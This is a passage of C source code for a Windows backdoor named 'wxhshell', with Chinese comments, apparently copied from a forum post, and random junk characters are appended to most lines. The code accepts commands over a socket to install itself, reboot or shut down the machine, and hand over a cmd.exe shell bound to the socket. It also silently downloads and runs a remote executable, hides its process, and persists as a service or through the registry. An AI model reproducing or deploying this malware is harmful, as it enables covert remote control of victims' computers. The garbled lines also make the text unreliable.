T&]Na  
    switch(cmd[0]) { TS1pR"6l  
  Y^4q9?2G  
  // 帮助 0%/,>IR>r  
  case '?': { %z30=?VL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P%iP:16  
    break; :*=Ns[Y  
  } iM8sX B  
  // 安装 ^#2xQ5h  
  case 'i': { Umij!=GPG^  
    if(Install()) nZ~kZ |VS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); </,.K`''W  
    else cxgE\4_u"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1^S'sWwe  
    break; >A<Df  
    } *E.LP1xP  
  // 卸载  +.=1^+a  
  case 'r': { U4=]#=R~o  
    if(Uninstall()) NJk)z&M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &i)helXs]  
    else -=5EbNPwG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TM)u?t+[  
    break; X2LV&oi  
    } >$Fp}?xX  
  // 显示 wxhshell 所在路径 UnP|]]o:I  
  case 'p': { uN8/Q2   
    char svExeFile[MAX_PATH]; { E^U6@  
    strcpy(svExeFile,"\n\r"); Zgy7!AF!  
      strcat(svExeFile,ExeFile); XJc ,uj7  
        send(wsh,svExeFile,strlen(svExeFile),0); C1 tb`  
    break; 0fA=_=A,  
    } 0Yp>+:#  
  // 重启 KyjyjfIwH  
  case 'b': { a%v>eXc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >[EBpYi  
    if(Boot(REBOOT)) >G&^?5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;ed#+$Na  
    else { W8y$ Ve8m  
    closesocket(wsh); GtC7^ Z&E  
    ExitThread(0); =)(0.E  
    } C\OECVT  
    break; pp<E))&R  
    } o OQ'*7_  
  // 关机 cu)U7  
  case 'd': { -A}zJBcR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "w9`cz9a~J  
    if(Boot(SHUTDOWN)) l~NEGb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^,`M0g\$  
    else { S#mK Pi+3  
    closesocket(wsh); f\ 'T_  
    ExitThread(0); i@XB&;*c\  
    } P<vo;96JT  
    break; ##v`(#fu  
    } 7LfcF  
  // 获取shell )(lJT&e  
  case 's': { <1K7@Tu  
    CmdShell(wsh); 3-iD.IAUm@  
    closesocket(wsh); IytDvz*|  
    ExitThread(0); $T?]+2,6;  
    break; /9Z!p  
  } M1EOnq4-  
  // 退出 #~S>K3(  
  case 'x': { Q,~x#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >nK%^T  
    CloseIt(wsh); w:Ra7ExP  
    break; iy}xICt  
    } Q(e{~ ]*  
  // 离开 O5M2`6|As  
  case 'q': { D#ZPq,f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J+|/-{g  
    closesocket(wsh); -x{&an=  
    WSACleanup(); 6A?8tm/0  
    exit(1); $it@>L8  
    break; !9D1 Fa  
        } {yS;NU`2  
  } ws[/  
  } O@wK[(w^  
o<rsAe  
  // 提示信息 W~yLl%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s&VOwU  
} D"!jbVz]*  
  } l|q%%W0  
7h`^N5H.q  
  return; '60//"9>k/  
} `;cz;"  
!D;c,{Oz  
// shell模块句柄 ?A&%Cwj  
int CmdShell(SOCKET sock) G|*G9nQ  
{ XXm'6xD-  
STARTUPINFO si; bcn7,ht  
ZeroMemory(&si,sizeof(si)); bb1  f/C%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #q;z8 @  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;{gT=,KQ`  
PROCESS_INFORMATION ProcessInfo; O1'K>teF%  
char cmdline[]="cmd"; Kp&3=e;vn{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0sh~I  
  return 0; )NIv  "Q  
} lE'wfUb  
)~dOmfw%|  
// 自身启动模式 PS}73Y#  
int StartFromService(void) {OP~8e"  
{ 'yr{^Pek  
typedef struct ~b6GrY"vB  
{ ? |VysJ  
  DWORD ExitStatus; TF2KZL#A|  
  DWORD PebBaseAddress; ve fU'  
  DWORD AffinityMask; n"Z |e tZ4  
  DWORD BasePriority; Y{+3}drJE  
  ULONG UniqueProcessId; \0&SI1Yp  
  ULONG InheritedFromUniqueProcessId; ?4[NNL  
}   PROCESS_BASIC_INFORMATION; RB;BQoGX  
\=fh-c(J,  
PROCNTQSIP NtQueryInformationProcess; q:]Q% IC^  
OaaH$B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D5L{T+}Oi%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J^:n* C  
M4:s;@qZ.  
  HANDLE             hProcess; l!@ 1u^v2  
  PROCESS_BASIC_INFORMATION pbi; (O0byu}  
p[qg&VKB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yWY|]Pp  
  if(NULL == hInst ) return 0; J>h;_jA  
EEwWucQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8UM0vNk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n NQ-"t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m9t$h  
}#/l N  
  if (!NtQueryInformationProcess) return 0; hKN6y%  
z_n \5.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D/:3R ZF  
  if(!hProcess) return 0; %*K;np-q{  
1tGgDbJU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MI*Sq\-i  
!y[3]8Xxv  
  CloseHandle(hProcess); K*+6`z#fMF  
+|&0fGv;d9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6bL~6-h%)  
if(hProcess==NULL) return 0; 1-o V-K  
`D2Mss$!  
HMODULE hMod; ArXl=s';s4  
char procName[255]; t9` Ed>a  
unsigned long cbNeeded; Ct!S Tk[2  
>lLo4M 3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A ~&+F>Z  
X"<|Z]w  
  CloseHandle(hProcess); H~Uq?!=b  
wOg,SMiq  
if(strstr(procName,"services")) return 1; // 以服务启动 %{'4. ,  
q qvF-mDN  
  return 0; // 注册表启动 A[JM4x   
} ir&.Z5=  
"DpKrVuG  
// 主模块 I$j|Rq  
int StartWxhshell(LPSTR lpCmdLine) J-XTN"O  
{  zy>}L #  
  SOCKET wsl; C}Qt "-%  
BOOL val=TRUE; (STx$cya  
  int port=0; UA(;fZ@  
  struct sockaddr_in door; ]w[ThHRJ  
A*i_|]Q  
  if(wscfg.ws_autoins) Install(); : Ss3ck*=  
n)RM+g  
port=atoi(lpCmdLine); 3U;1D2"AE  
kUbnVF5'  
if(port<=0) port=wscfg.ws_port; G Y-M.|%  
hSMV&Cs  
  WSADATA data; P {H{UKs#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Le@? /  
sfI N)jh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BX3lP v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !^v\^Fc  
  door.sin_family = AF_INET; (("OYj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z_l. V/G)  
  door.sin_port = htons(port); d)KF3oA  
KlO(o#&N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e{!vNJ0`  
closesocket(wsl); VMHC/jlX@r  
return 1; (oYW]c}G,  
} .@k*p>K  
KyLp?!|>  
  if(listen(wsl,2) == INVALID_SOCKET) { MZ~.(&  
closesocket(wsl); M[s\E4l:t  
return 1; d+5:Qrr  
} [hnK/4!  
  Wxhshell(wsl); r\xXU~$9v  
  WSACleanup(); KY+]RxX  
<'2u a  
return 0; [@2s&Ct;  
%h/! Y<%  
} MGybGbd  
@a(oB.i  
// 以NT服务方式启动 asz?p\k:bC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }\Z5{OA  
{ aYVDp{_  
DWORD   status = 0; eqhAus?)  
  DWORD   specificError = 0xfffffff; o](.368+4  
m[8 @Unt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /aOlYqM(>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C +@ i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fS I%c3  
  serviceStatus.dwWin32ExitCode     = 0; * nCx[  
  serviceStatus.dwServiceSpecificExitCode = 0; I?M@5u  
  serviceStatus.dwCheckPoint       = 0; ^'W%X  
  serviceStatus.dwWaitHint       = 0; x+^Vg3 q  
,sI35I J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $?f]ZyZr.  
  if (hServiceStatusHandle==0) return; ";dU-\3M  
e /94y6*>  
status = GetLastError(); [z+x"9l0!  
  if (status!=NO_ERROR) >EIrw$V$  
{ x'i0KF   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #LWg"i  
    serviceStatus.dwCheckPoint       = 0; a))*F!}c  
    serviceStatus.dwWaitHint       = 0; B.K4!/cF  
    serviceStatus.dwWin32ExitCode     = status; 3;Hd2 ;G  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]^ 'ZiyJX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (\& 62B1  
    return; Vp7b4n<  
  } Fu##'#  
-u~eZ?(!Ye  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /qXzOd  
  serviceStatus.dwCheckPoint       = 0; ^Y 7U1I  
  serviceStatus.dwWaitHint       = 0; ,8VXA +'_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yVYkuO  
} >76 |:Nq  
<Uwwux<v  
// 处理NT服务事件,比如:启动、停止 U>A6eWhH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @p]UvqtB@  
{ 8\_*1h40s  
switch(fdwControl) qTy v.#{y  
{ KPggDKS  
case SERVICE_CONTROL_STOP: JqEb;NiP)5  
  serviceStatus.dwWin32ExitCode = 0; :8]6#c6`74  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e=J*Esc@k  
  serviceStatus.dwCheckPoint   = 0; sam[s4@eQ  
  serviceStatus.dwWaitHint     = 0; 26PD[af64O  
  { x4 hO$3o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `]{Psc6_=  
  } ,`)OEI|1d  
  return; kf K[u/<i  
case SERVICE_CONTROL_PAUSE: (9'be\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yb9cW\lr  
  break; Z s73 ad  
case SERVICE_CONTROL_CONTINUE: 8A4TAT4,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3#mE( `|P  
  break; [gn[nP9  
case SERVICE_CONTROL_INTERROGATE: vHc#m@4o  
  break; eJaUmK:  
}; 9b%j.Q-W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y@ .b 4  
} FfSI n3  
r=\P!`{5  
// 标准应用程序主函数 JMePI%#8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;qb Dbg  
{ y/\ZAtnLo  
;sQ2 0 B'  
// 获取操作系统版本 f1\7vEE,  
OsIsNt=GetOsVer(); yxY h?ka  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'M-)Os "  
)Y[/!  
  // 从命令行安装 rkIMM,   
  if(strpbrk(lpCmdLine,"iI")) Install(); S}mm\<=1  
CjV7q y  
  // 下载执行文件 D!me%;  
if(wscfg.ws_downexe) { D2$^"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5p{25N_t  
  WinExec(wscfg.ws_filenam,SW_HIDE); c/RT0xql*  
} eA&t %  
z}3di5+P  
if(!OsIsNt) { ^XNw$@&',  
// 如果时win9x,隐藏进程并且设置为注册表启动 -;ER`Jqs,  
HideProc(); 9C=~1>S  
StartWxhshell(lpCmdLine); b~9`]+  
} mF~ys{"t  
else 5\3 swP_7  
  if(StartFromService()) m{O Dz :  
  // 以服务方式启动 DZ2Fl>7  
  StartServiceCtrlDispatcher(DispatchTable); f-&ATTx`J  
else t)!V +Qcb  
  // 普通方式启动 4znH$M>bU  
  StartWxhshell(lpCmdLine); C$_G'XI  
8=pv/o  
return 0; A$ J9U3+O  
}
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只看该作者 1 发表于: 2006-10-10
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